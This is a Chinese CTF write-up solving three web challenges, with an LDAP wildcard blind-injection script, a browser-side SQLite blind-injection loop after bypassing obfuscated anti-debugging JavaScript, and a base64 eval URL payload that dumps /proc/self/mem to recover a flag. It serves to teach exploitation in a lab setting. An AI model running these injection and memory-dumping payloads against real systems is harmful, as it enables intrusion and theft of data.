0%

暗泉杯个人补题wp

打比赛的时候要不是在忙别的,就是在出去玩,就做了一个密码,但是在队友们的血C下拿了一个第四,其中elegant-crazy还在赛后6小时干出一道零解题,在这里贴一下我们的官方wp:https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/

然后补了补题,wschat那个题真的把我搞得大残。

easyinject

是一个注入题,但是好像没有发现注入点,fuzz后发现在用户名字段输入括号会有warning回显到前端,发现是使用了ldap协议。

借此机会学习了一下ldap协议,学习资料:https://www.anquanke.com/post/id/212186

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询。

然后就类似sql注入,有很多注入手法,本题注释里写了一个叫做guest的用户,我们可以用通配符测试一下:发现username为*g*以及gu*都是能返回用户的,于是做一个简单的布尔盲注就可以,由于有多个用户,写个dfs即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = 'http://47.106.172.144:2333/?user={}&pass=1'

r = requests.get(url)
dic = "qwertyuiopasdfghjklzxcvbnm1234567890_"
def dfs(payload):
for i in dic:
nowpayload = payload + i
r = requests.get(url.format(nowpayload + '*'))
if "密码错误" in r.text or "用户不唯一" in r.text:
print(nowpayload)
dfs(nowpayload)

dfs('')

wschat

零解题,知识点特别简单:前端绕过+sql注入,没了,但之所以是零解题,那必然是有自己的恶心之处。

首先需要看懂这个前端经过简单混淆的js代码,经过机器美化以及我的美化,最终长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
(function() {
const gotoNewOfflinePage = function() {
let y$$ = true;
return function(R, create) {
const voronoi = y$$ ? function() {
if (create) {
const fn3 = create["apply"](R, arguments);
return create = null, fn3;
}
} : function() {
};
return y$$ = false, voronoi;
};
}();
(function() {
gotoNewOfflinePage(this, function() {
const PL$37 = new RegExp("function *\\( *\\)");
const PL$26 = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i");
const PL$36 = _0x6c017f("init");
if (!PL$37.test(PL$36 + "chain") || !PL$26.test(PL$36 + "input")) {
PL$36("0");
} else {
_0x6c017f();
}
})();
})();
const result = {
"isOpen" : false,
"orientation" : undefined
};
const _0x14edab = 160;
const emitEvent = (button, value) => {
window.dispatchEvent(new CustomEvent("devtoolschange", {
"detail" : {
"isOpen" : button,
"orientation" : value
}
}));
};
const load = ({
emitEvents : fromSubmit = true
} = {}) => {
const orientation = window.outerWidth - window.innerWidth > _0x14edab;
const _0x4ca755 = window.outerHeight - window.innerHeight > _0x14edab;
const y = orientation ? "vertical" : "horizontal";
if (!(_0x4ca755 && orientation) && (window["Firebug"] && window["Firebug"]["chrome"] && window["Firebug"]["chrome"]["isInitialized"] || orientation || _0x4ca755)) {
if ((!result["isOpen"] || result["orientation"] !== y) && fromSubmit) {
emitEvent(true, y);
}
result["isOpen"] = true;
result["orientation"] = y;
} else {
if (result["isOpen"] && fromSubmit) {
emitEvent(false, undefined);
}
result["isOpen"] = false;
result["orientation"] = undefined;
}
};
load({
"emitEvents" : false
});
// setInterval(load, 500);
if (typeof module !== "undefined" && module["exports"]) {
module["exports"] = result;
} else {
window["devtools"] = result;
}
})();
// if (window["devtools"]["isOpen"] === true) {
// document["documentElement"]["innerHTML"] = "Hacker!<br>";
// }
window["addEventListener"]("devtoolschange", (err) => {
document["documentElement"]["innerHTML"] = "Hacker!<br>";
});
let sock = io.connect("ws://" + window.location.host + "/");
var WSMessage;
var wsmessage;
var buffer;
protobuf.load("chat.proto", function(err, def) {
if (err) {
throw err;
}
LoginReq = def.lookup("wschat.chat.LoginReq");
RegReq = def.lookup("wschat.chat.RegReq");
ServerRsp = def.lookup("wschat.chat.ServerRsp");
MsgReq = def.lookup("wschat.chat.MsgReq");
LogoutReq = def.lookup("wschat.chat.LogoutReq");
}), window.onload = function() {
let fn = "";
let htmlAttributes = document.getElementByld("btn1");
let attributes = document.getElementByld("btn2");
let data_layer = document.getElementByld("btn_send");
let list = document.getElementByld("user");
let item = document.getElementByld("pass");
let result = document.getElementByld("txt1");
let hl = document.getElementByld("ul1");
htmlAttributes.onclick = function() {
var buffer = RegReq.create({
"username" : list["value"],
"password" : item["value"]
});
var labels = RegReq.encode(buffer).finish();
sock.emit("reg", labels.slice()["buffer"]);
};
sock.on("reg_ret", (err, bbls) => {
if (err) {
alert(bbls);
} else {
alert(bbls);
}
});
attributes.onclick = function() {
// if (!/^\w{1,16}$/["test"](list["value"])) {
// alert("用户名不符合规范");
// return;
// }
// if (!/^\w{1,16}$/["test"](item["value"])) {
// alert("密码不符合规范");
// return;
// }
var buffer = LoginReq.create({
"username" : list["value"],
"password" : item["value"]
});
var labels = LoginReq.encode(buffer).finish();
sock.emit("login", labels.slice()["buffer"]);
};
sock.on("login_ret", (err, bbls) => {
if (err) {
alert(bbls);
} else {
fn = list["value"];
alert(bbls);
}
});
data_layer.onclick = function() {
var buffer = MsgReq.create({
"msg" : result["value"]
});
var labels = MsgReq.encode(buffer).finish();
sock.emit("msg", labels.slice()["buffer"]);
};
sock.on("msg", (err, isSlidingUp) => {
let node = document.createElement("li");
node.innerHTML = "<h3>" + err + "</h3><p>" + isSlidingUp + "</p>";
hl.appendChild(node);
});
sock.on("msg_ret", (err, theLibrary) => {
if (err) {
alert("发送失败:" + theLibrary);
} else {
let node = document.createElement("li");
node.className = "mine";
node.innerHTML = "<h3>" + fn + "</h3><p>" + result["value"] + "</p>";
hl.appendChild(node);
result["value"] = "";
}
});
}, setInterval(function() {
_0x6c017f();
}, 4E3);
function _0x6c017f(event) {
function next(i) {
// if (typeof i === "string") {
// return function(err) {
// }.constructor("while (true) {}").apply("counter");
// } else {
// if (i % 20 === 0) {
// (function() {
// return true;
// }).constructor("debugger").call("action");
// } else {
// (function() {
// return false;
// }).constructor("debugger").apply("stateObject");
// }
// }
next(++i);
}
try {
if (event) {
return next;
} else {
next(0);
}
} catch (_0xf40179) {
}
}

代码还是比较浅显易懂的,分为几部分:第一部分是反调试,他用了几种常见的手法检测你是否开了F12,比如是devtools,还有浏览器窗口比例等等,采取的对应措施是直接回显hacker,以及在某一个断点无限debug,还有就是在浏览器load的时候直接500,导致的后果就是我火狐直接卡死,这些都是一些反调试手法。第二部分是对于username和passwd的一个过滤,只允许有数字和正常字符。第三部分就是和后端走的sock.io的通讯,我们之后再说。

代码看起来美观,但好像执行不了,这题的patch我们只需要把一些关键部分注释了即可,所以我又回去改原来的代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>聊天室</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="//cdn.bootcss.com/socket.io/2.1.1/socket.io.js"></script>
<script src="protobuf.min.js"></script>
<style>
.mine{
color:green;
}
Body{background:url(bg.webp);
background-repeat:no-repeat;
background-size:100%;
}

input {
background-color: transparent;
}
textarea {
background-color: transparent;
}
</style>
</head>
<body>
用户名:<input type="text" id="user"/><br>
密 码:<input type="password" id="pass"><br>
<input type="button" value="注册" id="btn1"> <input type="button" value="登录" id="btn2">
<hr>
<textarea name="" id="txt1" cols="80" rows="10"></textarea>
<input type="button" value="发送" id="btn_send">
<ul id="ul1">
</ul>
<!--hint:sqli me-->
<script>
(function () {
const _0x476866 = function () {
let _0x4bb9fc = !![];
return function (_0x58c9dc, _0x4b0a21) {
const _0xf76523 = _0x4bb9fc ? function () {
if (_0x4b0a21) {
const _0x635e3f = _0x4b0a21['apply'](_0x58c9dc, arguments);
return _0x4b0a21 = null, _0x635e3f;
}
} : function () {
};
return _0x4bb9fc = ![], _0xf76523;
};
}();
(function () {
_0x476866(this, function () {
const _0x22f222 = new RegExp('function\x20*\x5c(\x20*\x5c)'), _0x28c056 = new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)', 'i'), _0x5d5775 = _0x6c017f('init');
!_0x22f222['test'](_0x5d5775 + 'chain') || !_0x28c056['test'](_0x5d5775 + 'input') ? _0x5d5775('0') : _0x6c017f();
})();
}());
'use strict';
const _0x2fe348 = {
'isOpen': ![],
'orientation': undefined
}, _0x14edab = 0xa0, _0x3b75b5 = (_0x231b41, _0x547b1f) => {
window['dispatchEvent'](new CustomEvent('devtoolschange', {
'detail': {
'isOpen': _0x231b41,
'orientation': _0x547b1f
}
}));
}, _0x572096 = ({
emitEvents: emitEvents = !![]
} = {}) => {
const _0x112831 = window['outerWidth'] - window['innerWidth'] > _0x14edab, _0x4ca755 = window['outerHeight'] - window['innerHeight'] > _0x14edab, _0x80c7cf = _0x112831 ? 'vertical' : 'horizontal';
!(_0x4ca755 && _0x112831) && (window['Firebug'] && window['Firebug']['chrome'] && window['Firebug']['chrome']['isInitialized'] || _0x112831 || _0x4ca755) ? ((!_0x2fe348['isOpen'] || _0x2fe348['orientation'] !== _0x80c7cf) && emitEvents && _0x3b75b5(!![], _0x80c7cf), _0x2fe348['isOpen'] = !![], _0x2fe348['orientation'] = _0x80c7cf) : (_0x2fe348['isOpen'] && emitEvents && _0x3b75b5(![], undefined), _0x2fe348['isOpen'] = ![], _0x2fe348['orientation'] = undefined);
};
_0x572096({ 'emitEvents': ![] }), /*setInterval(_0x572096, 0x1f4),*/ typeof module !== 'undefined' && module['exports'] ? module['exports'] = _0x2fe348 : window['devtools'] = _0x2fe348;
}());
// window['devtools']['isOpen'] === !![] && (document['documentElement']['innerHTML'] = 'Hacker!<br>');
// window['addEventListener']('devtoolschange', _0x54eab0 => {
// document['documentElement']['innerHTML'] = 'Hacker!<br>';
// });
let sock = io['connect']('ws://' + window['location']['host'] + '/');
var WSMessage, wsmessage, buffer;
protobuf['load']('chat.proto', function (_0x1e8bc6, _0x75e501) {
if (_0x1e8bc6)
throw _0x1e8bc6;
LoginReq = _0x75e501['lookup']('wschat.chat.LoginReq'), RegReq = _0x75e501['lookup']('wschat.chat.RegReq'), ServerRsp = _0x75e501['lookup']('wschat.chat.ServerRsp'), MsgReq = _0x75e501['lookup']('wschat.chat.MsgReq'), LogoutReq = _0x75e501['lookup']('wschat.chat.LogoutReq');
}), window['onload'] = function () {
let _0x1f4215 = '', _0x1139cf = document['getElementById']('btn1'), _0x2af11b = document['getElementById']('btn2'), _0x413d89 = document['getElementById']('btn_send'), _0x29d952 = document['getElementById']('user'), _0x22dda2 = document['getElementById']('pass'), _0x2c48a5 = document['getElementById']('txt1'), _0x5900fb = document['getElementById']('ul1');
_0x1139cf['onclick'] = function () {
var _0x3689c9 = RegReq['create']({
'username': _0x29d952['value'],
'password': _0x22dda2['value']
}), _0x38c60d = RegReq['encode'](_0x3689c9)['finish']();
sock['emit']('reg', _0x38c60d['slice']()['buffer']);
}, sock['on']('reg_ret', (_0x77442, _0x4d8078) => {
_0x77442 ? alert(_0x4d8078) : alert(_0x4d8078);
}), _0x2af11b['onclick'] = function () {
// if (!/^\w{1,16}$/['test'](_0x29d952['value'])) {
// alert('用户名不符合规范');
// return;
// }
// if (!/^\w{1,16}$/['test'](_0x22dda2['value'])) {
// alert('密码不符合规范');
// return;
// }
var _0xea8ad4 = LoginReq['create']({
'username': _0x29d952['value'],
'password': _0x22dda2['value']
}), _0x581e63 = LoginReq['encode'](_0xea8ad4)['finish']();
sock['emit']('login', _0x581e63['slice']()['buffer']);
}, sock['on']('login_ret', (_0x253784, _0x4ca143) => {
_0x253784 ? alert(_0x4ca143) : (_0x1f4215 = _0x29d952['value'], alert(_0x4ca143));alert(_0x4ca143.indexOf("成功") != -1);
}), _0x413d89['onclick'] = function () {
var _0x254c70 = MsgReq['create']({ 'msg': _0x2c48a5['value'] }), _0x56ebdb = MsgReq['encode'](_0x254c70)['finish']();
sock['emit']('msg', _0x56ebdb['slice']()['buffer']);
}, sock['on']('msg', (_0x2378cb, _0x4ce8f4) => {
let _0x3ca130 = document['createElement']('li');
_0x3ca130['innerHTML'] = '<h3>' + _0x2378cb + '</h3><p>' + _0x4ce8f4 + '</p>', _0x5900fb['appendChild'](_0x3ca130);
}), sock['on']('msg_ret', (_0x491ba1, _0x25dec1) => {
if (_0x491ba1)
alert('发送失败:' + _0x25dec1);
else {
let _0x4a7033 = document['createElement']('li');
_0x4a7033['className'] = 'mine', _0x4a7033['innerHTML'] = '<h3>' + _0x1f4215 + '</h3><p>' + _0x2c48a5['value'] + '</p>', _0x5900fb['appendChild'](_0x4a7033), _0x2c48a5['value'] = '';
}
});
}, setInterval(function () {
_0x6c017f();
}, 0xfa0);
function _0x6c017f(_0x19de66) {
function _0x2ed5ce(_0x255d4e) {
// if (typeof _0x255d4e === 'string')
// return function (_0x11534e) {
// }['constructor']('while\x20(true)\x20{}')['apply']('counter');
// else
// ('' + _0x255d4e / _0x255d4e)['length'] !== 0x1 || _0x255d4e % 0x14 === 0x0 ? function () {
// return !![];
// }['constructor']('debu' + 'gger')['call']('action') : function () {
// return ![];
// }['constructor']('debu' + 'gger')['apply']('stateObject');
// _0x2ed5ce(++_0x255d4e);
}
try {
if (_0x19de66)
return _0x2ed5ce;
else
_0x2ed5ce(0x0);
} catch (_0xf40179) {
}
}
</script>
</body>
</html>

对于前两个部分,毕竟都是在前端的操作,我们自然是可以操作的了,上面的代码已经是我经过patch后的了,我们采用一个代理工具charles 把根目录的html的js部分替换为上述部分:

image-20211209110846004

(在Map to local path部分修改为本地文件,这样在经过代理,到我们浏览器的环境都是我经过patch的js了。)

elegant-crazy师傅采用的是burp在代理设置的时候把alert()return那些部分替换为空了,能绕过对username的检测,但是绕不过反调试。

然后就到了第三部分,提示里说了sqli me,显然是一个sql注入了,hint里说了是用sqlite的数据库,

上网查了一下所有sqlite的注入技巧:学习资料:https://xz.aliyun.com/t/10308#toc-10

image-20211209111251765

注入点太明显了,没有任何过滤,但是回显只有两种,只能采用盲注的办法。盲注的脚本在上述文章里也有现成的,出这题胜利在望,结果这才是折磨的开始。

elegant-crazy师傅是用python调了protobuf库,实现的盲注,所有的sock事件全要自己手写一遍,很是累, 我寻思着在js里人家都写好了,我直接在js部分添加了盲注的部分就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
sock['on']('login_ret', (_0x253784, _0x4ca143) => {
_0x253784 ? (
console.log(_0x4ca143),
returned = (_0x4ca143.indexOf("成功") != -1),
locked = true) : (
_0x1f4215 = _0x29d952['value'], /*alert(_0x4ca143),*/
returned = (_0x4ca143.indexOf("成功") != -1),
locked = true,
console.log(_0x4ca143));
});
var ans = "";
var flag = false;
for(let i = 1; i < 5; i++) {
flag = false;
let low = 32;
let high = 128;
let mid = (low+high )/ 2
let midchar = String.fromCharCode(mid);
while(low<high){
let payload = "admin' and substr((select hex(group_concat(sql)) from sqlite_master)," + i + ",1)>'" + midchar + "';";
var buffer = LoginReq['create']({
"username" : payload,
"password" : "123"
});
console.log(payload);
var _0x581e63 = LoginReq['encode'](buffer)['finish']();
// locked = false;
sock['emit']('login', _0x581e63['slice']()['buffer']);

for(let j = 1; j < 1000000000; j++){}
// while(locked == false){}
locked = false;
console.log(returned);
if (returned === false){
low = mid + 1;
}
else{
high = mid;
}
mid = Math.floor((low+high) / 2);
if(mid === 32 || mid === 127){flag = true; break;}
midchar = String.fromCharCode(mid);
console.log(mid);
}
ans = ans + midchar;
console.log(ans);
}
console.log(ans);

但是结果不尽人意,所有的返回都是true,我的布尔盲注的结果需要依托sock.io(login_ret)这个事件触发后的回调函数的执行,可是因为这个事件执行并不是我们想象的那种串行的,所以导致顺序错乱,无法进行布尔盲注。

解决措施有,就是加锁,设了一个全局变量,当且仅当回调函数执行时解锁,平时状态是死循环状态。elegant-crazy师傅就是采用的这种办法,能成功顺序返回,但是我加了锁之后就变成浏览器堵塞了,完全轮不到回调函数执行。

思考了很久问题所在,也尝试用async和await的方法去强制等待事情的返回,强行延时1秒钟,但都失败了。

第二天早上起来搜到了这两篇文章:https://www.coder.work/article/5073843,https://stackoverflow.com/questions/51372997/socket-io-how-to-send-multiple-messages-sequentially

大概意思就是node实现这块还用了一个缓冲区,等挤在到一定数量的时候才会发送,js盲注失败了。

本题还可以用selenium模拟我的操作(但是我不会怎么挂代理替换js),毕竟有我思考上面问题的那段时间,我觉得我手工盲注也差不多该出了。

一言以蔽之,还是用python实现protobuf的事件交互是最简单的。

最后附上有关sock.ioprotobuf的一些资料吧。

https://socket.gitbook.io/docs/

http://www.febeacon.com/protobuf_docs_zh_cn/routes/installation.html

hideandseek

和web没有啥关系,和二进制全是关系。

先附上打本地的DockerFile:

1
2
3
4
5
6
7
8
FROM php:8.1.0

ADD ./src /var/www/html
ADD ./flag /flag

WORKDIR /var/www/html/
RUN chmod -R 0555 /var/www/html/
CMD ["php", "-S", "0.0.0.0:8000", "-t", "/var/www/html"]

这题上先读flag,然后把flag给覆盖了,你只有一次执行任意代码的机会。

思路上来一下子就指向了/proc,进程目录,我们肯定是能通过分析这个进程把flag拿到了。目前已知的/proc的博客有:

https://whoamianony.top/2021/06/09/Web%E5%AE%89%E5%85%A8/Proc%20%E7%9B%AE%E5%BD%95%E5%9C%A8%20CTF%20%E4%B8%AD%E7%9A%84%E5%A6%99%E7%94%A8/

https://xz.aliyun.com/t/10579

第一反应是读fd,看看文件的符号链接,如果fopen了,但没fclose就有可能在fd里找到,本地一试发现没有。

于是考虑利用别的,比如./exe,是一个ELF文件,但可惜strings ./exe没用,因为flag变量是在运行时读取的,生成elf是不存在这个字符串的,于是就读./mem/proc/{PID}/mem是可用于访问进程的内存的页面。但是发现读取失败了,报错如下:

1
cat mem: Input/output error

搜到了解释原因:https://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux

/proc/$pid/mem显示$pid 内存的内容与进程中的映射方式相同,即伪文件中偏移x处的字节与进程中地址x处的字节相同。如果在进程中未映射地址,则从文件中的相应偏移量读取返回EIO(输入/输出错误)。例如,由于进程中的第一页永远不会被映射(因此取消引用NULL指针会完全失败,而不是无意中访问实际内存),因此读取 的第一个字节/proc/$pid/mem总是会产生 I/O 错误。

同时也拿到了一份用python拿内存信息的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re
maps_file = open("/proc/self/maps", 'r')
mem_file = open("/proc/self/mem", 'rb', 0)
output_file = open("self.dump", 'wb')
for line in maps_file.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # if this is a readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
mem_file.seek(start) # seek to region start
chunk = mem_file.read(end - start) # read region contents
output_file.write(chunk) # dump contents to standard output
maps_file.close()
mem_file.close()
output_file.close()

我盲猜flag就在内存里,但我也不是打二进制的,也不知道在哪,于是就打算把整个chunk全部正则匹配即可。

把上述代码翻译成php,修改部分内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$maps_file = fopen("/proc/self/maps", "r");
$mem_file = fopen("/proc/self/mem", "rb");
while(! feof($maps_file)) {
$line = fgets($maps_file);//fgets()函数从文件指针中读取一行
$m = preg_match("/([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])/", $line, $match);
if($match[3] == 'r') {
$start = hexdec($match[1]);
$end = hexdec($match[2]);
fseek($mem_file, $start);
$chunk = fread($mem_file, $end - $start);
if(preg_match("/flag\{.*\}/", $chunk)) {
preg_match("/(flag\{.*\})/", $chunk, $ans);
var_dump($ans);
}

}
}
fclose($maps_file);
fclose($mem_file);
?>

最后用base64+urlencode传参(有了安洵杯的教训,base64一定要编码),最终payload如下:

1
http://5b599005-3dfe-44e4-ac13-96fc3b194f3e.nssctf.neusoft.edu.cn/?eval=eval(base64_decode(%22JG1hcHNfZmlsZSA9IGZvcGVuKCIvcHJvYy9zZWxmL21hcHMiLCAiciIpOwokbWVtX2ZpbGUgPSBmb3BlbigiL3Byb2Mvc2VsZi9tZW0iLCAicmIiKTsKd2hpbGUoISBmZW9mKCRtYXBzX2ZpbGUpKSB7CiAgICAgICAgJGxpbmUgPSBmZ2V0cygkbWFwc19maWxlKTsvL2ZnZXRzKCnlh73mlbDku47mlofku7bmjIfpkojkuK3or7vlj5bkuIDooYwKICAgICAgICAgICAgJG0gPSBwcmVnX21hdGNoKCIvKFswLTlBLUZhLWZdKyktKFswLTlBLUZhLWZdKykgKFstcl0pLyIsICRsaW5lLCAkbWF0Y2gpOwogICAgICAgICAgICBpZigkbWF0Y2hbM10gPT0gJ3InKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gaGV4ZGVjKCRtYXRjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRlbmQgPSBoZXhkZWMoJG1hdGNoWzJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZnNlZWsoJG1lbV9maWxlLCAkc3RhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNodW5rID0gZnJlYWQoJG1lbV9maWxlLCAkZW5kIC0gJHN0YXJ0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi9mbGFnXHsuKlx9LyIsICRjaHVuaykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi8oZmxhZ1x7LipcfSkvIiwgJGNodW5rLCAkYW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyX2R1bXAoJGFucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KfQpmY2xvc2UoJG1hcHNfZmlsZSk7CmZjbG9zZSgkbWVtX2ZpbGUpOw%3D%3D%22));

image-20211209151159749